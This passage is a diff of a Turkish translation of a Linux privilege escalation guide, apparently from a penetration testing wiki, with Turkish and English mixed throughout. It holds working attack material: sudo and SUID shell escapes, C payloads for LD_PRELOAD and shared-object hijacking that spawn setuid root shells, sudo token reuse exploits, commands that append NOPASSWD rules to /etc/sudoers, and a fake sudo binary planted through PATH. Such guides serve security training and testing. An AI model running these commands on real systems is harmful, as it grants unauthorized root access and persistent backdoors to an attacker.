yazılabilir klasörünüzden önce yer alan bir klasörden yüklenmemesi** gerekir. ### SUDO and SUID -Bazı komutları sudo kullanarak çalıştırmaya izinli olabilirsiniz veya bazı dosyalar suid bitine sahip olabilir. Bunu şu komutla kontrol edin: +Bazı komutları sudo kullanarak çalıştırma izniniz olabilir veya bazı dosyalar suid bitiyle işaretlenmiş olabilir. Bunu şu şekilde kontrol edin: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Bazı **beklenmeyen komutlar dosyaları okumaya ve/veya yazmaya ya da hatta bir komut çalıştırmaya izin verir.** Örneğin: +Bazı **beklenmedik komutlar dosyaları okumaya ve/veya yazmaya ya da hatta bir komut çalıştırmaya izin verir.** Örneğin: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,25 +746,25 @@ less>! ``` ### NOPASSWD -Sudo yapılandırması, bir kullanıcının parolasını bilmeden başka bir kullanıcının ayrıcalıklarıyla bazı komutları çalıştırmasına izin verebilir. +Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla parola bilmeden bazı komutları çalıştırmasına izin verebilir. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; root dizinine bir ssh key ekleyerek veya `sh` çağırarak kolayca bir shell almak mümkün. +Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; artık root directory'ye bir ssh key ekleyerek veya `sh` çağırarak kolayca bir shell elde etmek mümkün. ``` sudo vim -c '!sh' ``` ### SETENV -Bu direktif, kullanıcının bir şey çalıştırırken **bir ortam değişkeni ayarlamasına** izin verir: +Bu yönerge, kullanıcının bir şeyi çalıştırırken **set an environment variable** yapmasına izin verir: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Bu örnek, **based on HTB machine Admirer**, root olarak script çalıştırılırken rastgele bir python library yüklemek için **PYTHONPATH hijacking**'e **vulnerable** idi: +Bu örnek, **HTB machine Admirer'e dayanan**, script root olarak çalıştırılırken rastgele bir python kütüphanesini yüklemek için **PYTHONPATH hijacking**'e **savunmasızdı:** ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` @@ -787,28 +787,28 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Karşı Önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Komut yolu belirtilmemiş Sudo komutu/SUID binary +### Sudo command/SUID binary komut yolu olmadan -Eğer **sudo izni** tek bir komuta **komut yolunu belirtmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek exploit edebilirsiniz. +Eğer **sudo permission** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bundan yararlanabilirsiniz. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Bu teknik ayrıca **suid** binary **başka bir komutu yolunu belirtmeden çalıştırıyorsa (her zaman _**strings**_ ile tuhaf bir SUID binary'nin içeriğini kontrol edin)**). +Bu teknik, bir **suid** binary başka bir komutu komutun yolunu belirtmeden çalıştırıyorsa da kullanılabilir (garip bir SUID binary'nin içeriğini her zaman _**strings**_ ile kontrol edin). [Payload examples to execute.](payloads-to-execute.md) -### Komut yolu belirtilmiş SUID binary +### Komut yoluna sahip SUID binary -Eğer **suid** binary **başka bir komutu yolunu belirterek çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde **export a function** oluşturmaya çalışabilirsiniz. +Eğer **suid** binary **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde bir fonksiyon **export** etmeyi deneyebilirsiniz. -Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, işlevi oluşturup export etmeyi denemelisiniz: +Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturup export etmeyi denemelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Sonrasında, suid binary'yi çağırdığınızda bu fonksiyon yürütülecektir +Sonra, suid ikiliyi çağırdığınızda bu fonksiyon çalıştırılacaktır ### LD_PRELOAD & **LD_LIBRARY_PATH** @@ -819,7 +819,7 @@ However, to maintain system security and prevent this feature from being exploit - The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). - For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +Yetki yükseltmesi, `sudo` ile komut çalıştırma yetkiniz varsa ve `sudo -l` çıktısında **env_keep+=LD_PRELOAD** ifadesi bulunuyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin `sudo` ile komutlar çalıştırıldığında bile kalıcı olmasına ve tanınmasına izin vererek, potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kod çalıştırılmasına yol açabilir. ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,17 +836,17 @@ setuid(0); system("/bin/bash"); } ``` -Sonra **derleyin** kullanarak: +Ardından **derleyin** şu şekilde: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Son olarak, **escalate privileges** çalıştırarak +Son olarak, **escalate privileges** çalıştırırken ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env değişkenini kontrol ediyorsa kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder. +> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env değişkenini kontrol ediyorsa suistimal edilebilir; çünkü kütüphanelerin aranacağı yolu o kontrol eder. ```c #include #include @@ -868,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Şüpheli görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, **.so** dosyalarını düzgün şekilde yüklüyor mu diye kontrol etmek iyi bir uygulamadır. Bunu aşağıdaki komutu çalıştırarak kontrol edebilirsiniz: +Olağandışı görünen **SUID** izinlerine sahip bir ikiliyle karşılaşıldığında, **.so** dosyalarını düzgün şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak exploitation için potansiyel olduğunu gösterir. +Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak, istismar için potansiyel olduğunu gösterir. -Bunu exploit etmek için, örneğin _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturup aşağıdaki kodu içerecek şekilde devam edilir: +Bunu istismar etmek için, aşağıdaki kodu içeren _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturulur: ```c #include #include @@ -885,13 +885,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle ederek ayrıcalıkları yükseltmeyi ve yükseltilmiş ayrıcalıklara sahip bir shell çalıştırmayı amaçlar. +Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle ederek ve yükseltilmiş ayrıcalıklara sahip bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlamaktadır. Yukarıdaki C dosyasını bir shared object (.so) dosyasına şu komutla derleyin: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetiklemeli ve potansiyel sistem ele geçirilmesine izin vermelidir. +Son olarak, etkilenen SUID binary'nin çalıştırılması istismarı tetiklemeli ve potansiyel olarak sistemin ele geçirilmesine olanak sağlamalıdır. ## Shared Object Hijacking ```bash @@ -903,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Artık yazabileceğimiz bir klasörden library yükleyen bir SUID binary bulduğumuza göre, gerekli isimle library'i o klasöre oluşturalım: +Artık yazabileceğimiz bir dizinden kütüphane yükleyen bir SUID binary bulduğumuza göre, gerekli isimle o dizine kütüphaneyi oluşturalım: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -916,7 +916,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Aşağıdaki gibi bir hata alırsanız +Eğer şöyle bir hata alırsanız ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -924,9 +924,9 @@ bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyona sahip ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) yerel güvenlik kısıtlamalarını aşmak için bir saldırgan tarafından kötüye kullanılabilecek Unix ikili dosyalarının seçilmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise aynı şeydir fakat bir komutta **sadece argümanları enjekte edebildiğiniz** durumlar için. +[**GTFOBins**](https://gtfobins.github.io) saldırganın yerel güvenlik kısıtlamalarını aşmak için istismar edebileceği Unix binaries'lerinin özenle hazırlanmış bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) komut içine **sadece argüman enjekte edebildiğiniz** durumlar için aynıdır. -Proje, kısıtlı shell'lerden çıkmak, ayrıcalıkları yükseltmek veya korumak, dosya aktarmak, bind ve reverse shells oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar. +Proje, kısıtlı shells'lerden kaçmak, ayrıcalıkları yükseltmek veya sürdürmek, dosya transferi yapmak, bind and reverse shells oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix binaries'lerinin meşru fonksiyonlarını toplar. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -945,17 +945,17 @@ https://gtfoargs.github.io/ ### FallOfSudo -Eğer `sudo -l`'ye erişebiliyorsanız, herhangi bir sudo kuralını nasıl sömürebileceğini bulup bulmadığını kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. +Eğer `sudo -l` komutuna erişiminiz varsa, herhangi bir sudo kuralının nasıl istismar edilebileceğini kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. ### Reusing Sudo Tokens -Parolaya sahip olmadan **sudo erişimi**'niz olduğu durumlarda, **sudo komutunun çalıştırılmasını bekleyip oturum token'ını ele geçirerek** ayrıcalıkları yükseltebilirsiniz. +Şifreye sahip olmadığınız ancak **sudo access**'iniz olduğu durumlarda, bir sudo komutunun çalıştırılmasını **bekleyip session token'ını kaçırarak** ayrıcalıkları yükseltebilirsiniz. Requirements to escalate privileges: -- Zaten _sampleuser_ kullanıcısı olarak bir shell'e sahipsiniz -- _sampleuser_ son **15 dakika** içinde bir şey çalıştırmak için **`sudo` kullanmış olmalı** (varsayılan olarak bu, parola girmeden `sudo` kullanmamıza izin veren sudo token'ının süresidir) -- `cat /proc/sys/kernel/yama/ptrace_scope` 0 olmalı +- Zaten _sampleuser_ olarak bir shell'iniz var +- _sampleuser_ **`sudo` kullanmış** olmalı ve bunu **son 15 dakika** içinde yapmış olmalı (varsayılan olarak bu, şifre girmeden `sudo` kullanmamıza izin veren sudo token'ın süresidir) +- `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 olmalı - `gdb` erişilebilir olmalı (yükleyebilmelisiniz) (Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz) @@ -968,37 +968,38 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde sh shell oluşturacak ve **setuid ile root tarafından sahip olunan** +- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde bir sh shell oluşturacaktır; bu shell **root tarafından sahip olunan ve setuid bitine sahip** olacaktır. ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Bu **üçüncü exploit** (`exploit_v3.sh`) **bir sudoers file oluşturacak**; bu, **sudo tokens'ı kalıcı hale getirir ve tüm kullanıcıların sudo kullanmasına izin verir** +- **Üçüncü exploit** (`exploit_v3.sh`) **bir sudoers file oluşturacak**; bu **sudo tokens'ı ebedi yapacak ve tüm kullanıcıların sudo kullanmasına izin verecek** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Eğer klasörde veya klasör içindeki oluşturulan dosyaların herhangi birinde **yazma iznine** sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) kullanarak **bir kullanıcı ve PID için sudo token'ı oluşturabilirsiniz**.\ -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID 1234 olan o kullanıcı olarak bir shell'e sahipseniz, parola bilmenize gerek kalmadan **sudo ayrıcalıkları elde edebilirsiniz** şu işlemi yaparak: +Eğer klasörde veya klasör içindeki oluşturulmuş dosyaların herhangi birinde **yazma izinlerine** sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ile bir kullanıcı ve PID için **sudo token** oluşturabilirsiniz.\ +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şu şekilde parola bilmenize gerek kalmadan **sudo ayrıcalıkları elde edebilirsiniz**: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\\ -**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgiler **edinebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **escalate privileges** yapabilirsiniz. +Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve bunun nasıl yapılacağını belirler.\ +Bu dosyalar **varsayılan olarak yalnızca user root ve group root tarafından okunabilir**.\ +**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgileri **elde edebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** yetkileri **yükseltebilirsiniz**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Yazabiliyorsanız, bu izni suistimal edebilirsiniz. +Yazabiliyorsanız bu izni kötüye kullanabilirsiniz ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Bu izinleri kötüye kullanmanın bir diğer yolu: +Bu izinleri kötüye kullanmanın bir başka yolu: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1007,17 +1008,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -sudo ikili dosyasına bazı alternatifler vardır; OpenBSD için doas gibi. Yapılandırmasını `/etc/doas.conf`'da kontrol etmeyi unutmayın. +`sudo` ikili dosyasına OpenBSD için `doas` gibi bazı alternatifler vardır; yapılandırmasını `/etc/doas.conf`'ta kontrol etmeyi unutmayın. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Eğer bir **kullanıcının genellikle bir makineye bağlanıp ayrıcalıkları yükseltmek için `sudo` kullandığını** ve o kullanıcı bağlamında bir shell elde ettiğinizi biliyorsanız, root olarak kodunuzu çalıştırıp sonra kullanıcının komutunu yürütecek yeni bir sudo executable oluşturabilirsiniz. Sonra, kullanıcı bağlamının $PATH'ini (örneğin yeni yolu .bash_profile içine ekleyerek) değiştirin; böylece kullanıcı sudo'yu çalıştırdığında sizin sudo executable'ınız çalıştırılır. +Eğer bir kullanıcının ayrıcalıkları yükseltmek için genellikle bir makineye bağlanıp `sudo` kullandığını biliyorsanız ve o kullanıcı bağlamı içinde bir shell elde ettiyseniz, **yeni bir sudo executable oluşturabilirsiniz**; bu executable önce kodunuzu root olarak çalıştırır, ardından kullanıcının komutunu yürütür. Sonra, kullanıcı bağlamının **$PATH**'ini değiştirin (örneğin yeni yolu .bash_profile içine ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında sizin sudo executable'ınız çalıştırılır. -Not: Kullanıcı farklı bir shell (bash olmayan) kullanıyorsa yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekir. Örneğin [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. +Dikkat: eğer kullanıcı farklı bir shell (bash değil) kullanıyorsa yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. -Ya da şöyle bir şey çalıştırmak: +Ya da şu gibi bir şey çalıştırmak: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib'i `/var/tmp/flag15/` dizinine kopyalayarak, `RPATH` değişkeninde belirtildiği gibi program tarafından bu konumda kullanılacaktır. +lib'i `/var/tmp/flag15/` dizinine kopyalarsanız, program burada `RPATH` değişkeninde belirtildiği gibi onu kullanacaktır. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1068,7 +1069,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Ardından `/var/tmp` dizinine `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun. +Sonra `/var/tmp` dizinine `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun ```c #include #define SHELL "/bin/sh" @@ -1083,8 +1084,8 @@ execve(file,argv,0); ``` ## Yetkiler -Linux capabilities provide a **process'e sağlanan root ayrıcalıklarının bir alt kümesini**. Bu, root **ayrıcalıklarını daha küçük ve ayrı birimlere** ayırır. Bu birimlerin her biri daha sonra bağımsız olarak süreçlere verilebilir. Böylece tüm ayrıcalık seti azaltılır ve istismar riskleri düşürülür.\ -Aşağıdaki sayfayı okuyarak **capabilities ve bunların nasıl kötüye kullanılacağı** hakkında daha fazla bilgi edinin: +Linux yetkileri bir sürece mevcut root ayrıcalıklarının **alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve farklı birimlere** ayırır. Bu birimlerin her biri süreçlere bağımsız olarak verilebilir. Böylece ayrıcalıkların tamamı azaltılarak istismar riskleri düşürülür.\ +Aşağıdaki sayfayı okuyun, **yetkiler ve bunların nasıl kötüye kullanılacağı hakkında daha fazla bilgi edinmek için**: {{#ref}} @@ -1093,49 +1094,49 @@ linux-capabilities.md ## Dizin izinleri -Bir dizinde, **bit for "execute"** etkilenen kullanıcının "**cd**" ile klasöre girebileceğini ifade eder.\ -**"read"** biti kullanıcının **dosyaları listeleyebileceğini**, ve **"write"** biti kullanıcının **dosyaları silebileceğini** ve **yeni dosyalar oluşturabileceğini** ifade eder. +Dizinde, **"execute" biti** etkilenmiş kullanıcının "**cd**" ile klasöre girebileceğini ifade eder.\ +**"read"** biti kullanıcının **dosyaları listeleyebileceğini**, ve **"write"** biti kullanıcının **yeni dosyalar oluşturup silebileceğini** gösterir. ## ACLs -Access Control Lists (ACLs) keyfi izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilir**. Bu izinler, sahip olmayan veya grubun parçası olmayan belirli kullanıcılara haklar verip reddederek dosya veya dizin erişimi üzerinde kontrolü artırır. Bu düzeydeki **ayrıntılı kontrol daha hassas erişim yönetimi sağlar**. Daha fazla detay için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Erişim Kontrol Listeleri (ACLs), keyfi izinlerin ikincil katmanını temsil eder ve **geleneksel ugo/rwx izinlerini geçersiz kılabilir**. Bu izinler, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara hak verip/vermeme yoluyla dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar. Bu **ince ayar seviyesi daha hassas erişim yönetimi** sağlar. Daha fazla detay [**burada**](https://linuxconfig.org/how-to-manage-acls-on-linux) bulunabilir. -**Kullanıcı "kali"ya bir dosya üzerinde read ve write izinleri verin:** +**Ver** kullanıcı "kali"ya bir dosya üzerinde okuma ve yazma izinleri: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Alın** sistemden belirli ACL'lere sahip dosyaları: +**Sistemden belirli ACL'lere sahip dosyaları al:** ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Açık shell oturumları +## Açık shell sessions -**Eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ -**Yeni sürümlerde** yalnızca **kendi kullanıcınızın** screen oturumlarına **bağlanabileceksiniz**. Ancak oturumun içinde **ilginç bilgiler** bulabilirsiniz. +**Eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** session'larını **hijack** edebilirsiniz.\ +**En yeni sürümlerde** yalnızca **kendi kullanıcınızın** screen sessions'larına **connect** olabilirsiniz. Ancak **session içinde ilginç bilgiler** bulabilirsiniz. -### screen oturumları hijacking +### screen sessions hijacking -**screen oturumlarını listele** +**screen sessions'ları listele** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Oturuma bağlan** +**Bir session'a bağlan** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux oturumlarını ele geçirme +## tmux sessions hijacking -Bu, **eski tmux sürümleri** ile ilgili bir problemdi. root tarafından oluşturulan tmux (v2.1) oturumunu ayrıcalıksız bir kullanıcı olarak ele geçiremedim. +Bu, **eski tmux sürümlerinde** bir sorundu. root tarafından oluşturulmuş bir tmux (v2.1) oturumunu ayrıcalıksız kullanıcı olarak ele geçiremedim. -**tmux oturumlarını listele** +**tmux oturumlarını listeleme** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1143,7 +1144,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Bir session'a bağlan** +**Oturuma bağlan** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1153,53 +1154,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB**'ı kontrol edin. +Check **Valentine box from HTB** için bir örneğe bakın. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olarak karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları şurada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +September 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir.\ +Bu hata, söz konusu OS'lerde yeni bir ssh anahtarı oluşturulduğunda ortaya çıkar; çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH İlginç yapılandırma değerleri -- **PasswordAuthentication:** Parola ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `no`. -- **PubkeyAuthentication:** Public key ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `yes`. -- **PermitEmptyPasswords**: Parola ile kimlik doğrulama izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`. +- **PasswordAuthentication:** Parola doğrulamasına izin verilip verilmediğini belirtir. Varsayılan `no`. +- **PubkeyAuthentication:** Public key authentication'e izin verilip verilmediğini belirtir. Varsayılan `yes`. +- **PermitEmptyPasswords**: Parola doğrulaması izinli olduğunda, sunucunun boş parola dizilerine sahip hesaplara giriş izni verip vermediğini belirtir. Varsayılan `no`. ### PermitRootLogin Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`. Olası değerler: - `yes`: root parola ve private key ile giriş yapabilir -- `without-password` or `prohibit-password`: root sadece private key ile giriş yapabilir -- `forced-commands-only`: Root sadece private key kullanarak ve commands seçenekleri belirtilmişse giriş yapabilir -- `no` : hayır +- `without-password` or `prohibit-password`: root yalnızca private key ile giriş yapabilir +- `forced-commands-only`: root yalnızca private key ile ve komut seçenekleri belirtilmişse giriş yapabilir +- `no`: hayır ### AuthorizedKeysFile -Kullanıcı kimlik doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi home dizini ile değiştirilecek token'lar içerebilir. **Mutlak yollar belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli yollar**. Örneğin: +Kullanıcı doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi token'lar içerebilir; bu token'lar home dizini ile değiştirilecektir. **Mutlak yolları belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli yollar**. Örneğin: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Bu yapılandırma, eğer "**testusername**" kullanıcısının **private** key'i ile giriş yapmaya çalışırsanız, ssh'in key'inizin public key'ini `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindekilerle karşılaştıracağını belirtir. +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding size sunucunuzda (without passphrases!) keys bırakmak yerine **use your local SSH keys instead of leaving keys** imkânı verir. Böylece ssh ile bir **host**'a **jump** yapabilir ve oradan **initial host**'unuzda bulunan **key**'i kullanarak başka bir **host**'a **jump** edebilirsiniz. +SSH agent forwarding, sunucunuzda (without passphrases!) anahtarları bırakmak yerine **use your local SSH keys instead of leaving keys** kullanmanızı sağlar. Böylece ssh ile **jump** **to a host** yapabilir ve oradan **jump to another** **host**'a, **initial host**'unuzda bulunan **key**i **using** ederek erişebilirsiniz. Bu seçeneği `$HOME/.ssh.config` içinde şu şekilde ayarlamanız gerekir: ``` Host example.com ForwardAgent yes ``` -Dikkat: Eğer `Host` `*` ise kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecektir (bu bir güvenlik sorunudur). +Dikkat edin: Eğer `Host` `*` ise kullanıcı farklı bir makineye bağlandığında o host anahtarlara erişebilecektir (bu bir güvenlik sorunudur). -The file `/etc/ssh_config` can **geçersiz kılabilir** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (varsayılan: izin verilir). +Dosya `/etc/ssh_config` bu seçenekleri **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya engelleyebilir.\ +Dosya `/etc/sshd_config`, 